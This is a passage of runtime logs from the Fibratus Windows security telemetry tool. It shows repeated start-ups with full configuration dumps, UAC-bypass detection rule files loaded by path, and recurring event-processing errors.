+time=2025-11-27T00:29:21+01:00 level=info msg=starting [Security Telemetry Logger] trace processing source=etw/source.go:270 +time=2025-11-27T00:29:24+01:00 level=info msg=starting [NT Kernel Logger] trace processing source=etw/source.go:270 +time=2025-11-27T00:30:46+01:00 level=info msg=got signal "interrupt", shutting down... source=signals/signals.go:39 +time=2025-11-27T00:30:46+01:00 level=info msg=stopping [Security Telemetry Logger] trace processing source=etw/source.go:286 +time=2025-11-27T00:30:46+01:00 level=info msg=stopping [NT Kernel Logger] trace processing source=etw/source.go:286 +time=2025-11-27T00:35:11+01:00 level=info msg=rule engine is disabled source=bootstrap/bootstrap.go:153 +time=2025-11-27T00:35:11+01:00 level=info msg=bootstrapping with pid 3500. Version: dev source=bootstrap/bootstrap.go:184 +time=2025-11-27T00:35:11+01:00 level=info msg=configuration options: + aggregator ..................... [ flush-timeout=>4s flush-period=>500ms] + alertsenders ................... [ eventlog=>[ enabled=>true verbose=>true] systray=>[ sound=>true quiet-mode=>false enabled=>false] mail=>[ to=>[] content-type=>text/html enabled=>false port=>25 use-template=>true] slack=>[ enabled=>false]] + api ............................ [ transport=>localhost:8482 timeout=>5s] + cap ............................ [] + config-file .................... ..\fibratus.yml + debug-privilege ................ true + evasion ........................ [ enable-direct-syscall=>true enabled=>true] + event .......................... [ serialize-threads=>false serialize-envs=>true serialize-pe=>false serialize-handles=>false serialize-images=>false] + eventsource .................... [ enable-image=>true enable-vamap=>true enable-mem=>true enable-thread=>true buffer-size=>512 enable-audit-api=>true enable-threadpool=>false enable-fileio=>true stack-enrichment=>true enable-handle=>false enable-registry=>true min-buffers=>16 blacklist=>[ events=>[CloseFile RegCloseKey] images=>[]] enable-net=>true max-buffers=>36 enable-dns=>false flush-interval=>1s] + filament ....................... [ path=>C:\Program Files\fibratus\filaments] + filters ........................ [ rules=>[ from-paths=>[C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_dotnet_code_profiler_dll_hijack.yml C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_command_handler_hijacking.yml C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_control_panel_applet_execution_hijack.yml] enabled=>true from-urls=>[]] match-all=>true macros=>[ from-paths=>[C:\Fibratus\fibratus\rules\macros\*.yml]]] + forward ........................ true + handle ......................... [ enumerate-handles=>false init-snapshot=>false] + logging ........................ [ max-size=>100 formatter=>text level=>info log-stdout=>true max-backups=>15 max-age=>0] + output ......................... [ amqp=>[ durable=>false enabled=>false tls-insecure-skip-verify=>false exchange=>fibratus delivery-mode=>transient vhost=>/ routing-key=>fibratus passive=>false exchange-type=>topic timeout=>5s url=>amqp://localhost:5672] http=>[ enabled=>false method=>POST timeout=>5s tls-insecure-skip-verify=>false serializer=>json enable-gzip=>false endpoints=>[]] elasticsearch=>[ healthcheck=>true healthcheck-timeout=>5s sniff=>false servers=>[http://127.0.0.1:9200] template-name=>fibratus enabled=>false healthcheck-interval=>10s timeout=>5s bulk-workers=>1 index-name=>fibratus gzip-compression=>false trace-log=>false flush-period=>1s] eventlog=>[ enabled=>false level=>info] console=>[ enabled=>true template=>{{ .Seq }} {{ .Timestamp }} - {{ .CPU }} {{ .Process }} ({{ .Pid }}) - {{ .Type }} ({{ .Params }}) {{ .Callstack }} - {{ .Cmd }} + format=>pretty]] + pe ............................. [ enabled=>false excluded-images=>[svchost.exe] read-sections=>false read-symbols=>false read-resources=>false] + symbol-paths ................... srv*c:\\SymCache*https://msdl.microsoft.com/download/symbols + symbolize-kernel-addresses ..... true + transformers ................... [ remove=>[ params=>[] enabled=>false] replace=>[ enabled=>false] rename=>[ enabled=>false] tags=>[ enabled=>false] trim=>[ enabled=>false]] + yara ........................... [ scan-timeout=>10s skip-allocs=>false skip-mmaps=>false enabled=>false excluded-procs=>[] skip-registry=>false fastscan=>true skip-files=>false rule=>[ strings=>[map[namespace: string:]] paths=>[map[namespace: path:]]] excluded-files=>[]] source=bootstrap/bootstrap.go:185 +time=2025-11-27T00:35:11+01:00 level=info msg=starting [Security Telemetry Logger] trace processing source=etw/source.go:270 +time=2025-11-27T00:35:15+01:00 level=info msg=starting [NT Kernel Logger] trace processing source=etw/source.go:270 +time=2025-11-27T00:35:47+01:00 level=info msg=got signal "interrupt", shutting down... source=signals/signals.go:39 +time=2025-11-27T00:35:47+01:00 level=info msg=stopping [Security Telemetry Logger] trace processing source=etw/source.go:286 +time=2025-11-27T00:35:47+01:00 level=info msg=stopping [NT Kernel Logger] trace processing source=etw/source.go:286 +time=2025-11-27T00:39:23+01:00 level=info msg=rule engine is disabled source=bootstrap/bootstrap.go:153 +time=2025-11-27T00:39:23+01:00 level=info msg=bootstrapping with pid 2552. Version: dev source=bootstrap/bootstrap.go:184 +time=2025-11-27T00:39:23+01:00 level=info msg=configuration options: + aggregator ..................... [ flush-period=>500ms flush-timeout=>4s] + alertsenders ................... [ eventlog=>[ verbose=>true enabled=>true] mail=>[ enabled=>false to=>[] content-type=>text/html port=>25 use-template=>true] slack=>[ enabled=>false] systray=>[ sound=>true enabled=>false quiet-mode=>false]] + api ............................ [ timeout=>5s transport=>localhost:8482] + cap ............................ [] + config-file .................... ..\fibratus.yml + debug-privilege ................ true + evasion ........................ [ enabled=>true enable-direct-syscall=>true] + event .......................... [ serialize-handles=>false serialize-threads=>false serialize-images=>false serialize-pe=>false serialize-envs=>true] + eventsource .................... [ enable-image=>true stack-enrichment=>true buffer-size=>512 max-buffers=>36 flush-interval=>1s enable-thread=>true enable-registry=>true enable-mem=>true enable-dns=>false enable-handle=>false enable-fileio=>true enable-threadpool=>false min-buffers=>16 enable-audit-api=>true enable-net=>true enable-vamap=>true blacklist=>[ events=>[CloseFile RegCloseKey] images=>[]]] + filament ....................... [ path=>C:\Program Files\fibratus\filaments] + filters ........................ [ rules=>[ from-paths=>[C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_dotnet_code_profiler_dll_hijack.yml C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_command_handler_hijacking.yml C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_control_panel_applet_execution_hijack.yml] enabled=>true from-urls=>[]] macros=>[ from-paths=>[C:\Fibratus\fibratus\rules\macros\*.yml]] match-all=>true] + forward ........................ true + handle ......................... [ init-snapshot=>false enumerate-handles=>false] + logging ........................ [ max-size=>100 log-stdout=>true max-age=>0 level=>info formatter=>text max-backups=>15] + output ......................... [ amqp=>[ routing-key=>fibratus tls-insecure-skip-verify=>false enabled=>false passive=>false timeout=>5s delivery-mode=>transient exchange=>fibratus vhost=>/ durable=>false url=>amqp://localhost:5672 exchange-type=>topic] http=>[ endpoints=>[] serializer=>json tls-insecure-skip-verify=>false enabled=>false method=>POST enable-gzip=>false timeout=>5s] elasticsearch=>[ healthcheck-timeout=>5s enabled=>false bulk-workers=>1 template-name=>fibratus flush-period=>1s servers=>[http://127.0.0.1:9200] healthcheck=>true gzip-compression=>false index-name=>fibratus trace-log=>false sniff=>false healthcheck-interval=>10s timeout=>5s] eventlog=>[ enabled=>false level=>info] console=>[ format=>pretty enabled=>true template=>{{ .Seq }} {{ .Timestamp }} - {{ .CPU }} {{ .Process }} ({{ .Pid }}) - {{ .Type }} ({{ .Params }}) {{ .Callstack }} - {{ .Cmd }} +]] + pe ............................. [ read-sections=>false read-resources=>false excluded-images=>[svchost.exe] enabled=>false read-symbols=>false] + symbol-paths ................... srv*c:\\SymCache*https://msdl.microsoft.com/download/symbols + symbolize-kernel-addresses ..... true + transformers ................... [ trim=>[ enabled=>false] remove=>[ enabled=>false params=>[]] rename=>[ enabled=>false] replace=>[ enabled=>false] tags=>[ enabled=>false]] + yara ........................... [ excluded-files=>[] excluded-procs=>[] fastscan=>true rule=>[ paths=>[map[namespace: path:]] strings=>[map[namespace: string:]]] skip-files=>false skip-mmaps=>false scan-timeout=>10s skip-allocs=>false enabled=>false skip-registry=>false] source=bootstrap/bootstrap.go:185 +time=2025-11-27T00:39:24+01:00 level=info msg=starting [Security Telemetry Logger] trace processing source=etw/source.go:270 +time=2025-11-27T00:39:25+01:00 level=info msg=starting [NT Kernel Logger] trace processing source=etw/source.go:270 +time=2025-11-27T00:42:48+01:00 level=info msg=got signal "interrupt", shutting down... source=signals/signals.go:39 +time=2025-11-27T00:42:48+01:00 level=info msg=stopping [Security Telemetry Logger] trace processing source=etw/source.go:286 +time=2025-11-27T00:42:48+01:00 level=info msg=stopping [NT Kernel Logger] trace processing source=etw/source.go:286 +time=2025-11-27T00:43:09+01:00 level=info msg=rule engine is disabled source=bootstrap/bootstrap.go:153 +time=2025-11-27T00:43:09+01:00 level=info msg=bootstrapping with pid 18116. Version: dev source=bootstrap/bootstrap.go:184 +time=2025-11-27T00:43:09+01:00 level=info msg=configuration options: + aggregator ..................... [ flush-period=>500ms flush-timeout=>4s] + alertsenders ................... [ slack=>[ enabled=>false] systray=>[ quiet-mode=>false sound=>true enabled=>false] mail=>[ enabled=>false content-type=>text/html to=>[] port=>25 use-template=>true] eventlog=>[ verbose=>true enabled=>true]] + api ............................ [ timeout=>5s transport=>localhost:8482] + cap ............................ [] + config-file .................... ..\fibratus.yml + debug-privilege ................ true + evasion ........................ [ enable-direct-syscall=>true enabled=>true] + event .......................... [ serialize-envs=>true serialize-handles=>false serialize-pe=>false serialize-threads=>false serialize-images=>false] + eventsource .................... [ stack-enrichment=>true enable-audit-api=>true enable-handle=>false enable-dns=>false enable-mem=>true enable-fileio=>true blacklist=>[ events=>[CloseFile RegCloseKey] images=>[]] enable-net=>true flush-interval=>1s enable-registry=>true enable-thread=>true enable-threadpool=>false min-buffers=>16 buffer-size=>512 enable-vamap=>true max-buffers=>36 enable-image=>true] + filament ....................... [ path=>C:\Program Files\fibratus\filaments] + filters ........................ [ match-all=>true rules=>[ from-paths=>[C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_dotnet_code_profiler_dll_hijack.yml C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_command_handler_hijacking.yml C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_control_panel_applet_execution_hijack.yml] from-urls=>[] enabled=>true] macros=>[ from-paths=>[C:\Fibratus\fibratus\rules\macros\*.yml]]] + forward ........................ true + handle ......................... [ enumerate-handles=>false init-snapshot=>false] + logging ........................ [ log-stdout=>true formatter=>text max-age=>0 max-size=>100 level=>info max-backups=>15] + output ......................... [ amqp=>[ vhost=>/ durable=>false timeout=>5s passive=>false routing-key=>fibratus exchange=>fibratus delivery-mode=>transient enabled=>false exchange-type=>topic url=>amqp://localhost:5672 tls-insecure-skip-verify=>false] http=>[ tls-insecure-skip-verify=>false method=>POST endpoints=>[] serializer=>json enable-gzip=>false enabled=>false timeout=>5s] elasticsearch=>[ bulk-workers=>1 flush-period=>1s healthcheck-interval=>10s timeout=>5s healthcheck=>true trace-log=>false sniff=>false gzip-compression=>false servers=>[http://127.0.0.1:9200] template-name=>fibratus healthcheck-timeout=>5s index-name=>fibratus enabled=>false] console=>[ template=>{{ .Seq }} {{ .Timestamp }} - {{ .CPU }} {{ .Process }} ({{ .Pid }}) - {{ .Type }} ({{ .Params }}) {{ .Callstack }} - {{ .Cmd }} + enabled=>true format=>pretty] eventlog=>[ level=>info enabled=>false]] + pe ............................. [ enabled=>false read-sections=>false read-symbols=>false excluded-images=>[svchost.exe] read-resources=>false] + symbol-paths ................... srv*c:\\SymCache*https://msdl.microsoft.com/download/symbols + symbolize-kernel-addresses ..... true + transformers ................... [ trim=>[ enabled=>false] remove=>[ enabled=>false params=>[]] replace=>[ enabled=>false] tags=>[ enabled=>false] rename=>[ enabled=>false]] + yara ........................... [ skip-mmaps=>false enabled=>false skip-registry=>false scan-timeout=>10s excluded-procs=>[] fastscan=>true skip-files=>false rule=>[ strings=>[map[namespace: string:]] paths=>[map[namespace: path:]]] excluded-files=>[] skip-allocs=>false] source=bootstrap/bootstrap.go:185 +time=2025-11-27T00:43:10+01:00 level=info msg=starting [Security Telemetry Logger] trace processing source=etw/source.go:270 +time=2025-11-27T00:43:11+01:00 level=info msg=starting [NT Kernel Logger] trace processing source=etw/source.go:270 +time=2025-11-27T00:43:29+01:00 level=info msg=got signal "interrupt", shutting down... source=signals/signals.go:39 +time=2025-11-27T00:43:29+01:00 level=info msg=stopping [Security Telemetry Logger] trace processing source=etw/source.go:286 +time=2025-11-27T00:43:29+01:00 level=info msg=stopping [NT Kernel Logger] trace processing source=etw/source.go:286 +time=2025-11-27T00:50:24+01:00 level=info msg=rule engine is disabled source=bootstrap/bootstrap.go:153 +time=2025-11-27T00:50:24+01:00 level=info msg=bootstrapping with pid 10896. Version: dev source=bootstrap/bootstrap.go:184 +time=2025-11-27T00:50:24+01:00 level=info msg=configuration options: + aggregator ..................... [ flush-period=>500ms flush-timeout=>4s] + alertsenders ................... [ mail=>[ port=>25 enabled=>false to=>[] use-template=>true content-type=>text/html] slack=>[ enabled=>false] systray=>[ sound=>true enabled=>false quiet-mode=>false] eventlog=>[ enabled=>true verbose=>true]] + api ............................ [ transport=>localhost:8482 timeout=>5s] + cap ............................ [] + config-file .................... ..\fibratus.yml + debug-privilege ................ true + evasion ........................ [ enable-direct-syscall=>true enabled=>true] + event .......................... [ serialize-handles=>false serialize-envs=>true serialize-threads=>false serialize-pe=>false serialize-images=>false] + eventsource .................... [ enable-vamap=>true enable-mem=>true enable-registry=>true enable-image=>true buffer-size=>512 enable-handle=>false enable-fileio=>true blacklist=>[ events=>[CloseFile RegCloseKey] images=>[]] enable-net=>true min-buffers=>16 flush-interval=>1s max-buffers=>36 enable-thread=>true enable-audit-api=>true enable-threadpool=>false stack-enrichment=>true enable-dns=>false] + filament ....................... [ path=>C:\Program Files\fibratus\filaments] + filters ........................ [ rules=>[ from-urls=>[] from-paths=>[C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_dotnet_code_profiler_dll_hijack.yml C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_command_handler_hijacking.yml C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_control_panel_applet_execution_hijack.yml] enabled=>true] macros=>[ from-paths=>[C:\Fibratus\fibratus\rules\macros\*.yml]] match-all=>true] + forward ........................ true + handle ......................... [ init-snapshot=>false enumerate-handles=>false] + logging ........................ [ max-size=>100 max-age=>0 formatter=>text max-backups=>15 level=>info log-stdout=>true] + output ......................... [ http=>[ tls-insecure-skip-verify=>false serializer=>json endpoints=>[] timeout=>5s enabled=>false method=>POST enable-gzip=>false] amqp=>[ url=>amqp://localhost:5672 enabled=>false tls-insecure-skip-verify=>false timeout=>5s exchange=>fibratus durable=>false delivery-mode=>transient passive=>false vhost=>/ exchange-type=>topic routing-key=>fibratus] elasticsearch=>[ flush-period=>1s enabled=>false bulk-workers=>1 template-name=>fibratus timeout=>5s healthcheck=>true gzip-compression=>false healthcheck-interval=>10s index-name=>fibratus servers=>[http://127.0.0.1:9200] sniff=>false healthcheck-timeout=>5s trace-log=>false] eventlog=>[ enabled=>false level=>info] console=>[ template=>{{ .Seq }} {{ .Timestamp }} - {{ .CPU }} {{ .Process }} ({{ .Pid }}) - {{ .Type }} ({{ .Params }}) {{ .Callstack }} - {{ .Cmd }} + enabled=>true format=>pretty]] + pe ............................. [ read-resources=>false enabled=>false read-symbols=>false read-sections=>false excluded-images=>[svchost.exe]] + symbol-paths ................... srv*c:\\SymCache*https://msdl.microsoft.com/download/symbols + symbolize-kernel-addresses ..... true + transformers ................... [ remove=>[ params=>[] enabled=>false] trim=>[ enabled=>false] tags=>[ enabled=>false] rename=>[ enabled=>false] replace=>[ enabled=>false]] + yara ........................... [ skip-registry=>false skip-allocs=>false rule=>[ strings=>[map[namespace: string:]] paths=>[map[namespace: path:]]] skip-mmaps=>false excluded-procs=>[] scan-timeout=>10s excluded-files=>[] fastscan=>true skip-files=>false enabled=>false] source=bootstrap/bootstrap.go:185 +time=2025-11-27T00:50:24+01:00 level=info msg=starting [Security Telemetry Logger] trace processing source=etw/source.go:270 +time=2025-11-27T00:50:26+01:00 level=info msg=starting [NT Kernel Logger] trace processing source=etw/source.go:270 +time=2025-11-27T00:50:30+01:00 level=error msg=event processing failure: The parameter is incorrect. source=aggregator/aggregator.go:191 +time=2025-11-27T00:50:30+01:00 level=error msg=event processing failure: The parameter is incorrect. source=aggregator/aggregator.go:191 +time=2025-11-27T00:50:30+01:00 level=error msg=event processing failure: The parameter is incorrect. source=aggregator/aggregator.go:191 +time=2025-11-27T00:50:30+01:00 level=error msg=event processing failure: The parameter is incorrect. source=aggregator/aggregator.go:191 +time=2025-11-27T00:50:30+01:00 level=error msg=event processing failure: The parameter is incorrect. source=aggregator/aggregator.go:191 +time=2025-11-27T00:50:30+01:00 level=error msg=event processing failure: The parameter is incorrect. source=aggregator/aggregator.go:191 +time=2025-11-27T00:50:30+01:00 level=error msg=event processing failure: The parameter is incorrect. source=aggregator/aggregator.go:191 +time=2025-11-27T00:50:30+01:00 level=error msg=event processing failure: The parameter is incorrect. source=aggregator/aggregator.go:191 +time=2025-11-27T00:50:30+01:00 level=error msg=event processing failure: The parameter is incorrect. source=aggregator/aggregator.go:191 +time=2025-11-27T00:50:30+01:00 level=error msg=event processing failure: The parameter is incorrect. source=aggregator/aggregator.go:191 +time=2025-11-27T00:50:30+01:00 level=error msg=event processing failure: The parameter is incorrect. source=aggregator/aggregator.go:191 +time=2025-11-27T00:51:13+01:00 level=info msg=got signal "interrupt", shutting down... source=signals/signals.go:39 +time=2025-11-27T00:51:13+01:00 level=info msg=stopping [Security Telemetry Logger] trace processing source=etw/source.go:286 +time=2025-11-27T00:51:14+01:00 level=info msg=stopping [NT Kernel Logger] trace processing source=etw/source.go:286 +time=2025-11-27T00:52:13+01:00 level=info msg=rule engine is disabled source=bootstrap/bootstrap.go:153 +time=2025-11-27T00:52:13+01:00 level=info msg=bootstrapping with pid 17176. Version: dev source=bootstrap/bootstrap.go:184 +time=2025-11-27T00:52:14+01:00 level=info msg=configuration options: + aggregator ..................... [ flush-period=>500ms flush-timeout=>4s] + alertsenders ................... [ systray=>[ sound=>true quiet-mode=>false enabled=>false] slack=>[ enabled=>false] mail=>[ to=>[] enabled=>false use-template=>true content-type=>text/html port=>25] eventlog=>[ enabled=>true verbose=>true]] + api ............................ [ transport=>localhost:8482 timeout=>5s] + cap ............................ [] + config-file .................... ..\fibratus.yml + debug-privilege ................ true + evasion ........................ [ enable-direct-syscall=>true enabled=>true] + event .......................... [ serialize-threads=>false serialize-envs=>true serialize-pe=>false serialize-handles=>false serialize-images=>false] + eventsource .................... [ enable-dns=>false stack-enrichment=>true enable-handle=>false enable-registry=>true enable-vamap=>true enable-net=>true max-buffers=>36 enable-thread=>true enable-threadpool=>false enable-audit-api=>true buffer-size=>512 enable-fileio=>true blacklist=>[ images=>[] events=>[CloseFile RegCloseKey]] min-buffers=>16 enable-mem=>true enable-image=>true flush-interval=>1s] + filament ....................... [ path=>C:\Program Files\fibratus\filaments] + filters ........................ [ rules=>[ from-paths=>[C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_dotnet_code_profiler_dll_hijack.yml C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_command_handler_hijacking.yml C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_control_panel_applet_execution_hijack.yml] enabled=>true from-urls=>[]] macros=>[ from-paths=>[C:\Fibratus\fibratus\rules\macros\*.yml]] match-all=>true] + forward ........................ true + handle ......................... [ init-snapshot=>false enumerate-handles=>false] + logging ........................ [ max-age=>0 formatter=>text max-backups=>15 level=>info max-size=>100 log-stdout=>true] + output ......................... [ eventlog=>[ enabled=>false level=>info] console=>[ template=>{{ .Seq }} {{ .Timestamp }} - {{ .CPU }} {{ .Process }} ({{ .Pid }}) - {{ .Type }} ({{ .Params }}) {{ .Callstack }} - {{ .Cmd }} + enabled=>true format=>pretty] amqp=>[ url=>amqp://localhost:5672 durable=>false enabled=>false exchange-type=>topic passive=>false vhost=>/ exchange=>fibratus tls-insecure-skip-verify=>false delivery-mode=>transient routing-key=>fibratus timeout=>5s] http=>[ endpoints=>[] tls-insecure-skip-verify=>false enabled=>false enable-gzip=>false serializer=>json timeout=>5s method=>POST] elasticsearch=>[ index-name=>fibratus timeout=>5s sniff=>false healthcheck-timeout=>5s healthcheck=>true trace-log=>false healthcheck-interval=>10s template-name=>fibratus flush-period=>1s gzip-compression=>false enabled=>false servers=>[http://127.0.0.1:9200] bulk-workers=>1]] + pe ............................. [ enabled=>false read-symbols=>false read-sections=>false read-resources=>false excluded-images=>[svchost.exe]] + symbol-paths ................... srv*c:\\SymCache*https://msdl.microsoft.com/download/symbols + symbolize-kernel-addresses ..... true + transformers ................... [ rename=>[ enabled=>false] remove=>[ enabled=>false params=>[]] tags=>[ enabled=>false] replace=>[ enabled=>false] trim=>[ enabled=>false]] + yara ........................... [ scan-timeout=>10s skip-registry=>false rule=>[ paths=>[map[namespace: path:]] strings=>[map[namespace: string:]]] skip-mmaps=>false skip-files=>false excluded-files=>[] excluded-procs=>[] skip-allocs=>false enabled=>false fastscan=>true] source=bootstrap/bootstrap.go:185 +time=2025-11-27T00:52:14+01:00 level=info msg=starting [Security Telemetry Logger] trace processing source=etw/source.go:270 +time=2025-11-27T00:52:16+01:00 level=info msg=starting [NT Kernel Logger] trace processing source=etw/source.go:270 +time=2025-11-27T00:52:19+01:00 level=error msg=event processing failure: The parameter is incorrect. source=aggregator/aggregator.go:191 +time=2025-11-27T00:52:19+01:00 level=error msg=event processing failure: The parameter is incorrect. source=aggregator/aggregator.go:191 +time=2025-11-27T00:52:19+01:00 level=error msg=event processing failure: The parameter is incorrect. source=aggregator/aggregator.go:191 +time=2025-11-27T00:52:19+01:00 level=error msg=event processing failure: The parameter is incorrect. source=aggregator/aggregator.go:191 +time=2025-11-27T00:52:19+01:00 level=error msg=event processing failure: The parameter is incorrect. source=aggregator/aggregator.go:191 +time=2025-11-27T00:52:19+01:00 level=error msg=event processing failure: The parameter is incorrect. source=aggregator/aggregator.go:191 +time=2025-11-27T00:52:19+01:00 level=error msg=event processing failure: The parameter is incorrect. source=aggregator/aggregator.go:191 +time=2025-11-27T00:52:19+01:00 level=error msg=event processing failure: The parameter is incorrect. source=aggregator/aggregator.go:191 +time=2025-11-27T00:52:19+01:00 level=error msg=event processing failure: The parameter is incorrect. source=aggregator/aggregator.go:191 +time=2025-11-27T00:52:19+01:00 level=error msg=event processing failure: The parameter is incorrect. source=aggregator/aggregator.go:191 +time=2025-11-27T00:52:19+01:00 level=error msg=event processing failure: The parameter is incorrect. source=aggregator/aggregator.go:191 +time=2025-11-27T00:52:19+01:00 level=error msg=event processing failure: The parameter is incorrect. source=aggregator/aggregator.go:191 +time=2025-11-27T00:53:59+01:00 level=info msg=rule engine is disabled source=bootstrap/bootstrap.go:153 +time=2025-11-27T00:53:59+01:00 level=info msg=bootstrapping with pid 14344. Version: dev source=bootstrap/bootstrap.go:184 +time=2025-11-27T00:53:59+01:00 level=info msg=configuration options: + aggregator ..................... [ flush-period=>500ms flush-timeout=>4s] + alertsenders ................... [ systray=>[ enabled=>false quiet-mode=>false sound=>true] slack=>[ enabled=>false] mail=>[ to=>[] content-type=>text/html enabled=>false use-template=>true port=>25] eventlog=>[ verbose=>true enabled=>true]] + api ............................ [ timeout=>5s transport=>localhost:8482] + cap ............................ [] + config-file .................... ..\fibratus.yml + debug-privilege ................ true + evasion ........................ [ enable-direct-syscall=>true enabled=>true] + event .......................... [ serialize-threads=>false serialize-envs=>true serialize-handles=>false serialize-pe=>false serialize-images=>false] + eventsource .................... [ enable-threadpool=>false stack-enrichment=>true enable-image=>true blacklist=>[ images=>[] events=>[CloseFile RegCloseKey]] enable-thread=>true enable-net=>true flush-interval=>1s max-buffers=>36 min-buffers=>16 enable-dns=>false enable-audit-api=>true buffer-size=>512 enable-vamap=>true enable-mem=>true enable-handle=>false enable-registry=>true enable-fileio=>true] + filament ....................... [ path=>C:\Program Files\fibratus\filaments] + filters ........................ [ rules=>[ from-urls=>[] enabled=>true from-paths=>[C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_dotnet_code_profiler_dll_hijack.yml C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_command_handler_hijacking.yml C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_control_panel_applet_execution_hijack.yml]] match-all=>true macros=>[ from-paths=>[C:\Fibratus\fibratus\rules\macros\*.yml]]] + forward ........................ true + handle ......................... [ init-snapshot=>false enumerate-handles=>false] + logging ........................ [ max-size=>100 max-backups=>15 max-age=>0 log-stdout=>true formatter=>text level=>info] + output ......................... [ amqp=>[ passive=>false exchange=>fibratus exchange-type=>topic url=>amqp://localhost:5672 delivery-mode=>transient enabled=>false durable=>false routing-key=>fibratus tls-insecure-skip-verify=>false timeout=>5s vhost=>/] http=>[ endpoints=>[] enabled=>false tls-insecure-skip-verify=>false serializer=>json timeout=>5s enable-gzip=>false method=>POST] eventlog=>[ level=>info enabled=>false] console=>[ enabled=>true format=>pretty template=>{{ .Seq }} {{ .Timestamp }} - {{ .CPU }} {{ .Process }} ({{ .Pid }}) - {{ .Type }} ({{ .Params }}) {{ .Callstack }} - {{ .Cmd }} +] elasticsearch=>[ template-name=>fibratus flush-period=>1s enabled=>false healthcheck=>true gzip-compression=>false healthcheck-timeout=>5s sniff=>false index-name=>fibratus timeout=>5s servers=>[http://127.0.0.1:9200] bulk-workers=>1 healthcheck-interval=>10s trace-log=>false]] + pe ............................. [ read-resources=>false read-sections=>false excluded-images=>[svchost.exe] enabled=>false read-symbols=>false] + symbol-paths ................... srv*c:\\SymCache*https://msdl.microsoft.com/download/symbols + symbolize-kernel-addresses ..... true + transformers ................... [ rename=>[ enabled=>false] tags=>[ enabled=>false] remove=>[ params=>[] enabled=>false] replace=>[ enabled=>false] trim=>[ enabled=>false]] + yara ........................... [ skip-mmaps=>false excluded-files=>[] skip-files=>false fastscan=>true enabled=>false skip-registry=>false rule=>[ paths=>[map[namespace: path:]] strings=>[map[namespace: string:]]] scan-timeout=>10s skip-allocs=>false excluded-procs=>[]] source=bootstrap/bootstrap.go:185 +time=2025-11-27T00:53:59+01:00 level=info msg=starting [Security Telemetry Logger] trace processing source=etw/source.go:270 +time=2025-11-27T00:54:02+01:00 level=info msg=starting [NT Kernel Logger] trace processing source=etw/source.go:270 +time=2025-11-27T00:54:05+01:00 level=error msg=event processing failure: The parameter is incorrect. source=aggregator/aggregator.go:191 +time=2025-11-27T00:54:05+01:00 level=error msg=event processing failure: The parameter is incorrect. source=aggregator/aggregator.go:191 +time=2025-11-27T00:54:05+01:00 level=error msg=event processing failure: The parameter is incorrect. source=aggregator/aggregator.go:191 +time=2025-11-27T00:54:05+01:00 level=error msg=event processing failure: The parameter is incorrect. source=aggregator/aggregator.go:191 +time=2025-11-27T00:54:05+01:00 level=error msg=event processing failure: The parameter is incorrect. source=aggregator/aggregator.go:191 +time=2025-11-27T00:54:05+01:00 level=error msg=event processing failure: The parameter is incorrect. source=aggregator/aggregator.go:191 +time=2025-11-27T00:54:05+01:00 level=error msg=event processing failure: The parameter is incorrect. source=aggregator/aggregator.go:191 +time=2025-11-27T00:54:05+01:00 level=error msg=event processing failure: The parameter is incorrect. source=aggregator/aggregator.go:191 +time=2025-11-27T00:54:05+01:00 level=error msg=event processing failure: The parameter is incorrect. source=aggregator/aggregator.go:191 +time=2025-11-27T00:54:05+01:00 level=error msg=event processing failure: The parameter is incorrect. source=aggregator/aggregator.go:191 +time=2025-11-27T00:54:05+01:00 level=error msg=event processing failure: The parameter is incorrect. source=aggregator/aggregator.go:191 +time=2025-11-27T00:54:05+01:00 level=error msg=event processing failure: The parameter is incorrect. source=aggregator/aggregator.go:191 +time=2025-11-27T00:54:18+01:00 level=info msg=got signal "interrupt", shutting down... source=signals/signals.go:39 +time=2025-11-27T00:54:18+01:00 level=info msg=stopping [Security Telemetry Logger] trace processing source=etw/source.go:286 +time=2025-11-27T00:54:18+01:00 level=info msg=stopping [NT Kernel Logger] trace processing source=etw/source.go:286 +time=2025-11-27T01:00:27+01:00 level=info msg=rule engine is disabled source=bootstrap/bootstrap.go:153 +time=2025-11-27T01:00:27+01:00 level=info msg=bootstrapping with pid 14972. Version: dev source=bootstrap/bootstrap.go:184 +time=2025-11-27T01:00:27+01:00 level=info msg=configuration options: + aggregator ..................... [ flush-timeout=>4s flush-period=>500ms] + alertsenders ................... [ slack=>[ enabled=>false] mail=>[ enabled=>false to=>[] use-template=>true port=>25 content-type=>text/html] systray=>[ sound=>true quiet-mode=>false enabled=>false] eventlog=>[ verbose=>true enabled=>true]] + api ............................ [ transport=>localhost:8482 timeout=>5s] + cap ............................ [] + config-file .................... ..\fibratus.yml + debug-privilege ................ true + evasion ........................ [ enable-direct-syscall=>true enabled=>true] + event .......................... [ serialize-threads=>false serialize-handles=>false serialize-images=>false serialize-envs=>true serialize-pe=>false] + eventsource .................... [ max-buffers=>36 enable-handle=>false enable-dns=>false enable-fileio=>true buffer-size=>512 enable-image=>true stack-enrichment=>true enable-net=>true min-buffers=>16 blacklist=>[ images=>[] events=>[CloseFile RegCloseKey]] enable-audit-api=>true enable-mem=>true flush-interval=>1s enable-registry=>true enable-vamap=>true enable-threadpool=>false enable-thread=>true] + filament ....................... [ path=>C:\Program Files\fibratus\filaments] + filters ........................ [ rules=>[ from-paths=>[C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_dotnet_code_profiler_dll_hijack.yml C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_command_handler_hijacking.yml C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_control_panel_applet_execution_hijack.yml] from-urls=>[] enabled=>true] match-all=>true 